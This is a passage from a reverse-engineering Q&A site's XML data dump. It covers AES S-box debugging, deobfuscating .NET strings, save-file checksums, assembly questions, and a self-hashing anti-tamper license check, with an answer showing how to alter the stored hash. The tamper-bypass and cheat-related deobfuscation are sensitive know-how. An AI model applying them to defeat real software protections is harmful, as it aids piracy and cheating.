S-box */&#xA;&#xA;static const uint32 FSb[256] =&#xA;{&#xA;    0x63, 0x7C, 0x77, ...&#xA;...&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus, if you want the array to be pre-determined, just uncomment &lt;code&gt;#define FIXED_TABLES&lt;/code&gt; and you'll be fine.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Debugger time!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The functions which is responsible to generate the forward S-box is &lt;a href=&quot;https://github.com/palmerc/AESCrypt2/blob/ecc335e7dc8a9622b22463f41ee42e54c0978139/aes.c#L66&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;aes_gen_tables( void )&lt;/code&gt;&lt;/a&gt; which is called from &lt;a href=&quot;https://github.com/palmerc/AESCrypt2/blob/ecc335e7dc8a9622b22463f41ee42e54c0978139/aes.c#L437&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;aes_set_key( ... )&lt;/code&gt;&lt;/a&gt;. The latter is called from the &lt;a href=&quot;https://github.com/palmerc/AESCrypt2/blob/master/aescrypt2.c#L269&quot; rel=&quot;noreferrer&quot;&gt;aescrypt2.c&lt;/a&gt;. We can spot the call to &lt;code&gt;aes_set_key()&lt;/code&gt; in IDA:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IRM9M.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IRM9M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, locating &lt;code&gt;aes_gen_tables()&lt;/code&gt; is easy peasy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/76wXw.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/76wXw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we said, the array is dynamically filled with values and we can view it using the debugger. Let's find the address of the array to be initialized and put a Hardware Breakpoint on Write on this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the part where the first item of the &lt;code&gt;Fsb&lt;/code&gt; is initialized:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GMcCY.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GMcCY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the equivalent &lt;a href=&quot;https://github.com/palmerc/AESCrypt2/blob/ecc335e7dc8a9622b22463f41ee42e54c0978139/aes.c#L90&quot; rel=&quot;noreferrer&quot;&gt;part&lt;/a&gt; from the source code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* generate the forward and reverse S-boxes */&#xA;&#xA;FSb[0x00] = 0x63;&#xA;RSb[0x63] = 0x00;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now put the Hardware Breakpoint on &lt;code&gt;0x00412F00&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Y5QvM.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y5QvM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we all set and we can start the debug session. Press the play button and start the program, then you'll have to input information to the console that has just popped up. After done, pressing &lt;kbd&gt;Enter&lt;/kbd&gt; in the console will trigger our HW breakpoint. This is where &lt;code&gt;Fsb[0]&lt;/code&gt; is set to 0x63. Press the play button and the breakpoint again will be triggered, this time it's at the end of the generation loop and our array will be filled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VVkhu.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VVkhu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There we go, now we found our forward S-box after it was dynamically generated by the program.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-01-06T20:30:49.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17137" PostTypeId="1" AcceptedAnswerId="17149" CreationDate="2018-01-06T22:09:10.870" Score="0" ViewCount="333" Body="&lt;p&gt;(I made a topic but I was ask'd to re-made it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi! I have a program and when I want to decompile/dissamble it finish and when I inspect the code everywhere where should be some filenames there are .(xxxxxxx) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A string example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string[] strArrays = new string[] { .(724934127), .(724937998), .(724937298), .(724933662), .(724933645), .(724936743), .(724933692), .(724933676), .(724933726), .(724933696), .(724933746), .(724933730), .(724933791), .(724937480), .(724933761), .(724933821), .(724933805), .(724933840), .(724933839), .(724933887), .(724933868), .(724931357), .(724931342), .(724931388), .(724931368), .(724931363), .(724931415), .(724937065), .(724931448), .(724931434), .(724931482), .(724931469), .(724931517), .(724931499), .(724938544), .(724931547), .(724931531), .(724931582), .(724931567), .(724938934), .(724931101), .(724938572), .(724931078), .(724931127), .(724940776), .(724937657), .(724931160), .(724940554), .(724938456), .(724936855), .(724931149), .(724931186), .(724936788), .(724931227), .(724937236), .(724931203), .(724931249), .(724931247), .(724931293), .(724931275), .(724931323), .(724931305), .(724931303), .(724930838), .(724930873), .(724930869), .(724930853), .(724930902), .(724930885), .(724930932), .(724930918), .(724930962), .(724930945), .(724931005), .(724930985), .(724930983), .(724931016), .(724931011), .(724931070), .(724931054), .(724930579)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There should be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string[] array = new string[]{filename.dll, cheat.dll, hack_name, and so on...};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How I can make it &quot;readable&quot; ? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Sorry if I did break somehow the rules :/)&lt;/p&gt;&#xA;" OwnerUserId="22793" LastActivityDate="2018-01-08T09:27:35.447" Title="Encrypted String?" Tags="|disassembly|decompilation|encryption|c#|" AnswerCount="1" CommentCount="10" FavoriteCount="0" ClosedDate="2018-01-12T16:26:12.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="17140" PostTypeId="1" AcceptedAnswerId="17143" CreationDate="2018-01-07T10:27:38.940" Score="0" ViewCount="146" Body="&lt;p&gt;I bring you either a hard challenge or the easiest challenge you've ever had.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a save file for this &lt;a href=&quot;http://store.steampowered.com/app/480650/YuGiOh_Legacy_of_the_Duelist/&quot; rel=&quot;nofollow noreferrer&quot;&gt;game&lt;/a&gt; The first bytes are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F9 29 CE 54 02 4D 71 04 4D 71 00 00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is the same throughout every save file I create, now this is where I come to you guys, I can't see anywhere in IDA where it's generating this &quot;checksum&quot; I looked at the string refs for &quot;savegame.dat&quot; it's reffed in 3 places but when I do C psuedo-code I can't see any writing to file happening around the refs, so maybe I am going crazy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, like I was saying, the check sum I get back looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;45 13 CD 5A 02 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It might not end in the trailing 00's, I only include them because this goes up to 8 bytes which seems logically, there is still lots of file to go, but it goes randomly like 05, 02, 01 etc so I don't think it would be needed however a better person will likely prove me wrong :).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;45 56 42 E5 01 00 00 00&#xA;C4 94 3D 73 08 00 00 00&#xA;4C 67 FA 44 01 00 00 00&#xA;45 13 CD 5A 02 00 00 00&#xA;D8 9A F1 E6 0A 00 00 00&#xA;F7 84 4F 99 02 00 00 00&#xA;18 4B 4F 56 02 00 00 00&#xA;25 44 F6 AF BF 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What little advice I can offer is there was a section later in this file that had&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 00 00 00 00 00 00 00 00 00 00 E2 07 00 02 07 77 18 00 46 00 00 00 E2 07 00 02 07 B7 B0 00 66 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7E 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which after testing with someone we determined this is &quot;Creation&quot; and either &quot;Last accessed&quot; or &quot;Last modified&quot; we found this out because what goes into E2 07's in INT16 - Little Endian is what the year is, although we don't know what the last few parts are. But that isn't what this is about. It's more an idea saying that it might be fully Little Endian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice how I could find in Ida or anything else would be greatly appreciated :).&lt;/p&gt;&#xA;" OwnerUserId="19684" LastActivityDate="2018-01-08T01:28:14.677" Title="Identifying Checksum?" Tags="|file-format|hex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17142" PostTypeId="2" ParentId="17135" CreationDate="2018-01-07T20:01:45.577" Score="1" Body="&lt;p&gt;After extracting the ROM image from the update, UEFITool parses it fine for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UodDl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UodDl.png&quot; alt=&quot;UEFITool screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-01-07T20:01:45.577" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17143" PostTypeId="2" ParentId="17140" CreationDate="2018-01-08T01:28:14.677" Score="0" Body="&lt;p&gt;Turns out it was a XOR'd checksum, managed to figure it out and will be here: &lt;a href=&quot;https://github.com/Arefu/Wolf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Arefu/Wolf&lt;/a&gt; if people want to see it in action in the future.&lt;/p&gt;&#xA;" OwnerUserId="19684" LastActivityDate="2018-01-08T01:28:14.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17144" PostTypeId="1" AcceptedAnswerId="17145" CreationDate="2018-01-08T01:40:24.987" Score="2" ViewCount="702" Body="&lt;p&gt;I assembled a simple objective-c file that prints hello to the screen. this is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#import &amp;lt;Foundation/Foundation.h&amp;gt;&#xA;int main() {&#xA;    NSString* a = [NSString stringWithUTF8String: &quot;hi&quot;];&#xA;    NSLog(a);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I assembled it and converted it into Nasm syntax, this is the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;section .text&#xA;default rel&#xA;extern _OBJC_CLASS_$_NSString&#xA;extern _NSLog&#xA;extern _objc_msgSend   &#xA;global _main &#xA;_main:   &#xA;    push rbp &#xA;    mov rbp, rsp &#xA;    sub rsp, 16 &#xA;    lea rdx, [ L_.str] &#xA;    mov dword [rbp - 4], 0&#xA;    mov rax, qword [ L_OBJC_CLASSLIST_REFERENCES_$_] &#xA;    mov rsi, qword [ L_OBJC_SELECTOR_REFERENCES_]&#xA;    mov rdi, rax &#xA;    call    _objc_msgSend &#xA;    mov qword [rbp - 16], rax &#xA;    mov rax, qword [rbp - 16] &#xA;    mov rdi, rax ; rdi has rax&#xA;    mov al, 0 &#xA;    call    _NSLog &#xA;    xor eax, eax &#xA;    add rsp, 16 &#xA;    pop rbp &#xA;    ret &#xA;&#xA;segment __DATA,__objc_classrefs&#xA;L_OBJC_CLASSLIST_REFERENCES_$_: dq  _OBJC_CLASS_$_NSString&#xA;&#xA;    segment __TEXT,__cstring&#xA;L_.str: db  &quot;hi&quot;&#xA;&#xA;    segment .__TEXT,.__objc_methname&#xA;L_OBJC_METH_VAR_NAME_:   db &quot;stringWithUTF8String:&quot;&#xA;&#xA;    segment __DATA,__objc_selrefs&#xA;L_OBJC_SELECTOR_REFERENCES_: dq L_OBJC_METH_VAR_NAME_&#xA;&#xA;    segment __DATA,__objc_imageinfo&#xA;L_OBJC_IMAGE_INFO:&#xA;    dd  0&#xA;    dd  64&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand most of it, like the different objc segments, but I dont understand things like &lt;code&gt;mov   rax, qword [rbp - 16]&lt;/code&gt; or even &lt;code&gt;mov al, 0&lt;/code&gt;. This is 64 bit assembly code so why is the register &lt;code&gt;al&lt;/code&gt; referenced? and why is &lt;code&gt;[rbp-16]&lt;/code&gt; stored into &lt;code&gt;rax&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="22837" LastActivityDate="2018-01-08T05:16:25.500" Title="Objective-C disassembling - I dont understand this code" Tags="|osx|nasm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17145" PostTypeId="2" ParentId="17144" CreationDate="2018-01-08T05:16:25.500" Score="5" Body="&lt;p&gt;The instructions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov qword [rbp - 16], rax &#xA;mov rax, qword [rbp - 16] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;are created by the compiler which is using &lt;a href=&quot;https://en.wikipedia.org/wiki/Stack-based_memory_allocation&quot; rel=&quot;noreferrer&quot;&gt;stack based memory allocation&lt;/a&gt; to store the result from the NSString objc call. If you compile with optimizations, the compiler should eliminate the need to store the value in stack altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov al, 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is set as an input to the NSLog function which is a variadic function so it needs a way to determine how many variables are stored in vector registers (&lt;code&gt;xmm&lt;/code&gt;/&lt;code&gt;ymm&lt;/code&gt;) vs general purpose ones (e.g. &lt;code&gt;rdi&lt;/code&gt;, &lt;code&gt;rsi&lt;/code&gt;, etc.) when processing the input arguments. Since the number of vector registers is far less than 256, it only needs to use 8-bits and will only look at &lt;code&gt;al&lt;/code&gt;. This saves a bit of space in code utilization as the &lt;code&gt;mov al, xx&lt;/code&gt; operation only takes 2 bytes.&lt;/p&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2018-01-08T05:16:25.500" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17146" PostTypeId="1" CreationDate="2018-01-08T06:30:32.490" Score="0" ViewCount="805" Body="&lt;p&gt;I'm trying to create a basic program that has memory tampering protection, however it always says it's correct, even if I nop the whole license check function in Ollydbg or change and rebuild the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm following the Surreptitious Software book, and wrote the following program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;stdafx.h&quot;&#xA;&#xA;#define CORRECTHASH 5131241&#xA;&#xA;void BEGIN() {}&#xA;&#xA;const std::string correctlicense(&quot;ABC&quot;);&#xA;&#xA;bool licenseCheck() {&#xA;&#xA;    std::cout &amp;lt;&amp;lt; &quot;Enter license: &quot;;&#xA;&#xA;    std::string license;&#xA;    std::cin &amp;gt;&amp;gt; license;&#xA;&#xA;    volatile DWORD d;&#xA;&#xA;    // Fingerprint&#xA;    __asm {&#xA;        lea ebx, d&#xA;        mov ebx, 0x050b072b&#xA;    }&#xA;&#xA;    return license.compare(correctlicense) == 0;&#xA;}&#xA;&#xA;UINT hash(UINT *beginAddress, UINT *endAddress) {&#xA;&#xA;    UINT h = *beginAddress;&#xA;&#xA;    for (; beginAddress &amp;lt;= endAddress; beginAddress++) {&#xA;        h ^= *beginAddress;&#xA;    }&#xA;&#xA;    return h;&#xA;}&#xA;void END() {}&#xA;&#xA;&#xA;int main()&#xA;{&#xA;&#xA;    UINT uHash = hash((UINT*)BEGIN, (UINT*)END);&#xA;&#xA;    std::cout &amp;lt;&amp;lt; &quot;[Protection checks]&quot; &amp;lt;&amp;lt; std::endl;&#xA;    std::cout &amp;lt;&amp;lt; &quot;Tampering: &quot;;&#xA;&#xA;    if (uHash != CORRECTHASH) {&#xA;        std::cout &amp;lt;&amp;lt; &quot;Failed ( &quot; &amp;lt;&amp;lt; uHash &amp;lt;&amp;lt; &quot; )&quot; &amp;lt;&amp;lt; std::endl;&#xA;        system(&quot;PAUSE&quot;);&#xA;        return 0;&#xA;    }&#xA;    else {&#xA;        std::cout &amp;lt;&amp;lt; &quot;Correct&quot; &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;&#xA;    if (licenseCheck()) {&#xA;        std::cout &amp;lt;&amp;lt; &quot;Correct!&quot; &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;    else {&#xA;        std::cout &amp;lt;&amp;lt; &quot;Failed!&quot; &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;&#xA;&#xA;    system(&quot;PAUSE&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The program basically 'hashes' the code between the BEGIN function and END function, but it doesn't seem to work. The hash is always correct even after tampering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Windows 7 and Visual studio 2017 the build/run the program.&lt;/p&gt;&#xA;" OwnerUserId="15916" LastEditorUserId="15916" LastEditDate="2018-01-08T09:58:53.220" LastActivityDate="2018-02-07T20:19:51.480" Title="Basic tampering protection" Tags="|c++|protection|software-security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17147" PostTypeId="1" CreationDate="2018-01-08T07:31:08.920" Score="0" ViewCount="118" Body="&lt;p&gt;Essentially, I'm wondering how difficult or possible it would be to do a core-dump on an already running process that was started without a debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a video that I opened in VLC (and is still running in VLC). I accidentally, however, deleted the original file but to my surprise, was still able to scroll back and forth on in VLC (making me think it's still in memory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it somehow be possible to do a core dump of the running process from it's PID and somehow piece together the data? Would that likely involve me following pointers through data-structures that I would need to sift through VLC's source code for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running OSX right now (so BSD). I think you could do a core-dump on processes with &lt;code&gt;gdb&lt;/code&gt; if it was started alongside the debugger, but I'm not sure about trying to do it with processes already running (as I'm sure the OS would also not like that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would add the tag &quot;core-dump&quot; but I don't have enough points.&lt;/p&gt;&#xA;" OwnerUserId="22840" LastActivityDate="2018-01-08T22:50:58.037" Title="Is it possible to (core-dump) recover a video in memory of the player (VLC) started without a debugger?" Tags="|memory|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17148" PostTypeId="2" ParentId="17146" CreationDate="2018-01-08T08:37:17.390" Score="0" Body="&lt;p&gt;I took the code and compiled and ran it as is i get a failed result&lt;br&gt;&#xA;modified the CORRECTHASH to the result of first failure and i get a correct result  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;why would you nop the license check it simply compares xyz with ABC prints and discards it doesn't seem to have any impact on the hash function &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you would either need to create a CORRECTHASH or tamper the existing hash&#xA;it seems from looking at it a few minutes  (you can tamper the ABC to some other string too to make the correct hash)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the output of tampered and compiled exe &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bogus key with tampered hash&#xA;&#xA;&amp;gt;licchk.exe&#xA;Enter license: abc&#xA;Failed!&#xA;[Protection checks]&#xA;Tampering: Correct&#xA;Press any key to continue . . .&#xA;&#xA;correct key with tampered hash&#xA;&amp;gt;licchk.exe&#xA;Enter license: ABC&#xA;Correct!&#xA;[Protection checks]&#xA;Tampering: Correct&#xA;Press any key to continue . . .&#xA;&#xA;comaprison of unmodified and modified source code &#xA;&#xA;&amp;gt;fc licchk.cpp unmodlicchk.cpp&#xA;Comparing files licchk.cpp and UNMODLICCHK.CPP&#xA;***** licchk.cpp&#xA;&#xA;#define CORRECTHASH 9480169  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; modified&#xA;&#xA;***** UNMODLICCHK.CPP&#xA;&#xA;#define CORRECTHASH 5364713 &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; original&#xA;&#xA;*****  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-01-08T08:43:21.067" LastActivityDate="2018-01-08T08:43:21.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17149" PostTypeId="2" ParentId="17137" CreationDate="2018-01-08T09:27:35.447" Score="2" Body="&lt;p&gt;It looks like obfuscated .net code. It also looks like that some names of properties/classes are obfuscated into some kind of unicode/other-non-readable representation, and your &quot;.(724942833)&quot; is actually &quot;some_unreadable_symbol.some_probably_other_unreadable_symbol(724942833)&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unreadable symbols should lead to classes and methods which will allow to understand what exactly happens there.&#xA;In order to make this mess readable you should rename these methods/classes into readable form. Did you try &lt;a href=&quot;https://github.com/0xd4d/de4dot&quot; rel=&quot;nofollow noreferrer&quot;&gt;de4dot&lt;/a&gt; ? According to its features list it should solve this problem instantly.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-01-08T09:27:35.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17150" PostTypeId="2" ParentId="8724" CreationDate="2018-01-08T09:58:41.437" Score="12" Body="&lt;p&gt;Starting with GDB 8.1, there's a special command for this: &lt;code&gt;starti&lt;/code&gt;. Example GDB session:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb /bin/true&#xA;Reading symbols from /bin/true...(no debugging symbols found)...done.&#xA;(gdb) starti&#xA;Starting program: /bin/true &#xA;&#xA;Program stopped.&#xA;0xf7fdd800 in _start () from /lib/ld-linux.so.2&#xA;(gdb) x/5i $pc&#xA;=&amp;gt; 0xf7fdd800 &amp;lt;_start&amp;gt;: mov    eax,esp&#xA;   0xf7fdd802 &amp;lt;_start+2&amp;gt;:       call   0xf7fe2160 &amp;lt;_dl_start&amp;gt;&#xA;   0xf7fdd807 &amp;lt;_dl_start_user&amp;gt;: mov    edi,eax&#xA;   0xf7fdd809 &amp;lt;_dl_start_user+2&amp;gt;:       call   0xf7fdd7f0&#xA;   0xf7fdd80e &amp;lt;_dl_start_user+7&amp;gt;:       add    ebx,0x1f7e6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2434" LastEditorUserId="2434" LastEditDate="2018-02-02T18:26:06.073" LastActivityDate="2018-02-02T18:26:06.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17151" PostTypeId="2" ParentId="3203" CreationDate="2018-01-08T11:16:03.277" Score="0" Body="&lt;p&gt;I would answer the part&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;put them together in order and recompile&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If your decompilation contains function chunks, be aware using an assembler that accept code outside from a function environment and be aware, too, with the data prevention execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information about function chunks: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3676/chunked-function-discontinuous-chunks-of-code-comprising-a-function&quot;&gt;Chunked function (discontinuous chunks of code comprising a function)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22842" LastActivityDate="2018-01-08T11:16:03.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17154" PostTypeId="1" CreationDate="2018-01-03T05:45:36.797" Score="2" ViewCount="337" Body="&lt;p&gt;I was in charge of analyze and reverse engineering the old unknown EXE for past few month. The binary works on MS-DOS for NEC-PC98 (retro PC), old (20years more ago), nobody knows how it's made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I done the job and knew the binary had been generated by unknown vendor's basic compiler. The binary has interesting technique; well-designed VM, partial relocated overlaying like a DLL, data-section-compression and self melting. It highly impressed me. So I'd like to know the compiler generates the binary.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I guess that the vendor may be Microsoft. I'd try to use QuickBasic's compiler (&lt;del&gt;BC.EXE&lt;/del&gt;&lt;code&gt;QB.EXE&lt;/code&gt;) and would generate small binary but unfortunately I'm not owner the old toolchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd love to ask someone a favor, if you have any Microsoft's Basic Compiler then goto dig your garage and put an old binary generated by such a compiler on me. I'll see it and want to identify the compiler and vendor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The binary has following characteristics:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;indicates magicWORD, 0x1e, on its exe header's reloc table offset address field&lt;/li&gt;&#xA;&lt;li&gt;start-up-code/address is in higher address (backward of exe)&lt;/li&gt;&#xA;&lt;li&gt;includes common libraries (such a libc) are relocatable on a single binary &lt;/li&gt;&#xA;&lt;li&gt;generates fully native code not an P-code. a &lt;code&gt;call&lt;/code&gt; matches a (unknown) VM-OP-code&lt;/li&gt;&#xA;&lt;li&gt;Character code is ASCII/Shift-JIS big endian(cp932, multibyte code for Japanese)&lt;/li&gt;&#xA;&lt;li&gt;floating points IEEE754 not MS-FP&lt;/li&gt;&#xA;&lt;li&gt;rodata sections are easily compressed (optional?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;the EXE address map:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000: MZ HEADER&#xA;00200: module1-header&#xA;00230: module1-code&#xA;00xxx: module1-data (compressed)&#xA;       : (repeats by module-N)&#xA;yyyyy: native libraries &#xA;zzzzz: startup code&#xA;ZZZZZ: relocation table (for calling a library)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BC.EXE&lt;/code&gt;, Microsoft PDS, is one of interested products for me.&#xA;Please compile a simple code like this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;X = 0.5 * 100.0&#xA;PRINT X&#xA;FOR I=0 TO 16 &#xA;    PRINT &quot;Hello, World&quot;&#xA;NEXT I&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I would appreciate it if you send me an output executable.&lt;/p&gt;&#xA;" OwnerUserId="22873" OwnerDisplayName="roentgen" LastEditorUserId="22873" LastEditDate="2018-01-11T06:12:18.577" LastActivityDate="2018-01-11T06:12:18.577" Title="BasicCompiler: wanted binaries which BC.exe or QB.exe (compiler) generates" Tags="|dos|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17156" PostTypeId="2" ParentId="13879" CreationDate="2018-01-08T21:49:57.510" Score="1" Body="&lt;p&gt;As first step you should check the datasheet in order to get the endianness and the loading address. Then you can try to load your firmware with your favorite disassembler, for example with &lt;em&gt;radare2&lt;/em&gt; yuo can use  a syntax similar to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2 -a your_arch -b bytes_num -m loading_address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look at &lt;a href=&quot;https://www.radare.org/get/avrworkshops2016.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; for more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;em&gt;IDA&lt;/em&gt; you should set the processor type/options and after the RAM and ROM addresses that you can get from the datasheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at &lt;a href=&quot;http://revengrazer.blogspot.de/2013/06/firmware-part-3-setting-up-ida-pro.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; example.&lt;/p&gt;&#xA;" OwnerUserId="4275" LastActivityDate="2018-01-08T21:49:57.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
